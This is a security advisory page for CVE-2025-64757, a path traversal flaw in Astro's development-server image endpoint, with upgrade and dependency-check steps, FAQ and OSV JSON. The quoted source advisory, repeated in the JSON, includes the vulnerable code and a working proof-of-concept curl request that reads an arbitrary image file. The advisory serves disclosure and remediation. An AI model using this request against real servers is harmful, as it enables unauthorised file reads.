CVE-2025-64757: Astro Astro Development Server Has Arbitrary Vulnerability

LOW
Advisory Identifier: GHSA-x3h8-62x9-952g
CVSS 3.5
CWE-23 CWE-22
Published
Advisory Summary

CVE-2025-64757 is a LOW (CVSS 3.5) astro development server has arbitrary vulnerability (CWE-23: Relative Path Traversal) affecting Astro libraries in the npm ecosystem. The issue involves astro development server has arbitrary local file read. Remediation is available by upgrading affected packages to version 5.14.3.

CVE-2025-64757 at a Glance

CVE Identifier CVE-2025-64757
GHSA Identifier GHSA-x3h8-62x9-952g
Severity LOW
CVSS v3.1 Base Score 3.5
CWE Classification CWE-23: Relative Path Traversal
Affected Product Astro
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 3.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N).

Attack Vector Adjacent (AV:A)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2025-64757

To remediate this vulnerability, upgrade all affected Astro dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

astro fixed: 5.14.3
npm install astro@5.14.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls astro

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2025-64757, inspect your project dependencies using npm:

npm ls astro

Analyze the terminal output to locate any version of Astro in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.14.3), your application is affected.

Note: The npm ls astro command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-23: Relative Path Traversal, where the product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory. In Astro, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A vulnerability has been identified in the Astro framework's development server that allows arbitrary local file read access through the image optimization endpoint. The vulnerability affects Astro development environments and allows remote attackers to read any image file accessible to the Node.js process on the host system. ### Details - **Title**: Arbitrary Local File Read in Astro Development Image Endpoint - **Type**: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') - **Component**: `/packages/astro/src/assets/endpoint/node.ts` - **Affected Versions**: Astro v5.x development builds (confirmed v5.13.3) - **Attack Vector**: Network (HTTP GET request) - **Authentication Required**: None The vulnerability exists in the Node.js image endpoint handler used during development mode. The endpoint accepts an `href` parameter that specifies the path to an image file. In development mode, this parameter is processed without adequate path validation, allowing attackers to specify absolute file paths. **Vulnerable Code Location**: `packages/astro/src/assets/endpoint/node.ts` ```typescript // Vulnerable code in development mode if (import.meta.env.DEV) { fileUrl = pathToFileURL(removeQueryString(replaceFileSystemReferences(src))); } else { // Production has proper path validation // ... security checks omitted in dev mode } ``` The development branch bypasses the security checks that exist in the production code path, which validates that file paths are within the allowed assets directory. ### PoC #### Attack Prerequisites 1. Astro development server must be running (`astro dev`) 2. The `/_image` endpoint must be accessible to the attacker 3. Target image files must be readable by the Node.js process #### Exploit Steps 1. Start Astro Development Server: ```bash astro dev # Typically runs on http://localhost:4321 ``` 2. Craft Malicious Request: ```http GET /_image?href=/[ABSOLUTE_PATH_TO_IMAGE]&w=100&h=100&f=png HTTP/1.1 Host: localhost:4321 ``` 3. Example Attack: ```bash curl "http://localhost:4321/_image?href=/%2FSystem%2FLibrary%2FImage%20Capture%2FAutomatic%20Tasks%2FMakePDF.app%2FContents%2FResources%2F0blank.jpg&w=100&h=100&f=png" -o stolen.png ``` #### Demonstration Results **Test Environment**: macOS with Astro v5.13.3 **Successful Exploitation**: - Target: `/System/Library/Image Capture/Automatic Tasks/MakePDF.app/Contents/Resources/0blank.jpg` - Response: HTTP 200 OK, Content-Type: image/png - Exfiltration: 303 bytes (100x100 PNG) - File Created: `stolen-image.png` containing processed system image **Attack Payload**: ``` http://localhost:4321/_image?href=/%2FSystem%2FLibrary%2FImage%20Capture%2FAutomatic%20Tasks%2FMakePDF.app%2FContents%2FResources%2F0blank.jpg&w=100&h=100&f=png ``` **Server Response**: ``` Status: 200 OK Content-Type: image/png Content-Length: 303 ``` ### Impact #### Confidentiality Impact: HIGH - **Scope**: Any image file readable by the Node.js process - **Exfiltration Method**: Complete file contents via HTTP response (transformed to PNG) #### Integrity Impact: NONE - The vulnerability only allows reading files, not modification #### Availability Impact: NONE - No direct impact on system availability - Potential for resource exhaustion through repeated large image requests ### Affected Components #### Primary Component - **File**: `packages/astro/src/assets/endpoint/node.ts` - **Function**: `loadLocalImage()` - **Lines**: Development mode branch (~25-35) #### Secondary Components - **File**: `packages/astro/src/assets/endpoint/generic.ts` - **Impact**: Uses different code path, not directly vulnerable - **Note**: Implements proper remote allowlist validation

CVE-2025-64757 Affected Astro Versions

1 component(s)
Fixed Versions:
5.14.3
Product / Package Ecosystem Affected Versions Fixed Version
astro
npm
< 5.14.3
5.14.3

References

Frequently Asked Questions

What is CVE-2025-64757?
CVE-2025-64757 is a security vulnerability in Astro involving Astro Development Server has Arbitrary Local File Read under CWE-23: Relative Path Traversal.
Which Astro versions are affected?
Affected versions include releases prior to 5.14.3 across affected packages: astro.
What version fixes CVE-2025-64757?
Upgrading to 5.14.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is astro affected?
Yes, astro is affected in releases prior to 5.14.3. Upgrade your dependency to 5.14.3 or later.
What is the CVSS score of CVE-2025-64757?
CVE-2025-64757 has a CVSS v3.1 base score of 3.5 (LOW) with vector string CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N.
What CWE is associated with CVE-2025-64757?
CVE-2025-64757 is classified under CWE-23: Relative Path Traversal (The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory.).
How can I check npm dependencies for CVE-2025-64757?
Run the dependency tree command: 'npm ls astro'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-x3h8-62x9-952g",
  "modified" : "2025-11-19T19:43:05Z",
  "published" : "2025-11-19T19:43:05Z",
  "aliases" : [ "CVE-2025-64757" ],
  "summary" : "Astro Development Server has Arbitrary Local File Read",
  "details" : "### Summary\nA vulnerability has been identified in the Astro framework's development server that allows arbitrary local file read access through the image optimization endpoint. The vulnerability affects Astro development environments and allows remote attackers to read any image file accessible to the Node.js process on the host system.\n\n### Details\n- **Title**: Arbitrary Local File Read in Astro Development Image Endpoint\n- **Type**: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')\n- **Component**: `/packages/astro/src/assets/endpoint/node.ts`\n- **Affected Versions**: Astro v5.x development builds (confirmed v5.13.3)\n- **Attack Vector**: Network (HTTP GET request)\n- **Authentication Required**: None\n\nThe vulnerability exists in the Node.js image endpoint handler used during development mode. The endpoint accepts an `href` parameter that specifies the path to an image file. In development mode, this parameter is processed without adequate path validation, allowing attackers to specify absolute file paths.\n\n**Vulnerable Code Location**: `packages/astro/src/assets/endpoint/node.ts`\n\n```typescript\n// Vulnerable code in development mode\nif (import.meta.env.DEV) {\n    fileUrl = pathToFileURL(removeQueryString(replaceFileSystemReferences(src)));\n} else {\n    // Production has proper path validation\n    // ... security checks omitted in dev mode\n}\n```\n\nThe development branch bypasses the security checks that exist in the production code path, which validates that file paths are within the allowed assets directory.\n\n### PoC\n#### Attack Prerequisites\n1. Astro development server must be running (`astro dev`)\n2. The `/_image` endpoint must be accessible to the attacker\n3. Target image files must be readable by the Node.js process\n\n#### Exploit Steps\n\n1. Start Astro Development Server:\n   ```bash\n   astro dev  # Typically runs on http://localhost:4321\n   ```\n\n2. Craft Malicious Request:\n   ```http\n   GET /_image?href=/[ABSOLUTE_PATH_TO_IMAGE]&w=100&h=100&f=png HTTP/1.1\n   Host: localhost:4321\n   ```\n\n3. Example Attack:\n   ```bash\n   curl \"http://localhost:4321/_image?href=/%2FSystem%2FLibrary%2FImage%20Capture%2FAutomatic%20Tasks%2FMakePDF.app%2FContents%2FResources%2F0blank.jpg&w=100&h=100&f=png\" -o stolen.png\n   ```\n\n#### Demonstration Results\n\n**Test Environment**: macOS with Astro v5.13.3\n\n**Successful Exploitation**:\n- Target: `/System/Library/Image Capture/Automatic Tasks/MakePDF.app/Contents/Resources/0blank.jpg`\n- Response: HTTP 200 OK, Content-Type: image/png\n- Exfiltration: 303 bytes (100x100 PNG)\n- File Created: `stolen-image.png` containing processed system image\n\n**Attack Payload**:\n```\nhttp://localhost:4321/_image?href=/%2FSystem%2FLibrary%2FImage%20Capture%2FAutomatic%20Tasks%2FMakePDF.app%2FContents%2FResources%2F0blank.jpg&w=100&h=100&f=png\n```\n\n**Server Response**:\n```\nStatus: 200 OK\nContent-Type: image/png\nContent-Length: 303\n```\n\n### Impact\n\n#### Confidentiality Impact: HIGH\n- **Scope**: Any image file readable by the Node.js process\n- **Exfiltration Method**: Complete file contents via HTTP response (transformed to PNG)\n\n#### Integrity Impact: NONE\n- The vulnerability only allows reading files, not modification\n\n#### Availability Impact: NONE  \n- No direct impact on system availability\n- Potential for resource exhaustion through repeated large image requests\n\n### Affected Components\n\n#### Primary Component\n- **File**: `packages/astro/src/assets/endpoint/node.ts`\n- **Function**: `loadLocalImage()`\n- **Lines**: Development mode branch (~25-35)\n\n#### Secondary Components  \n- **File**: `packages/astro/src/assets/endpoint/generic.ts`\n- **Impact**: Uses different code path, not directly vulnerable\n- **Note**: Implements proper remote allowlist validation",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "astro"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.14.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/withastro/astro/security/advisories/GHSA-x3h8-62x9-952g"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-64757"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/withastro/astro/commit/b8ca69b97149becefaf89bf21853de9c905cdbb7"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/withastro/astro"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-23" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-11-19T19:43:05Z",
    "nvd_published_at" : "2025-11-19T17:15:52Z"
  }
}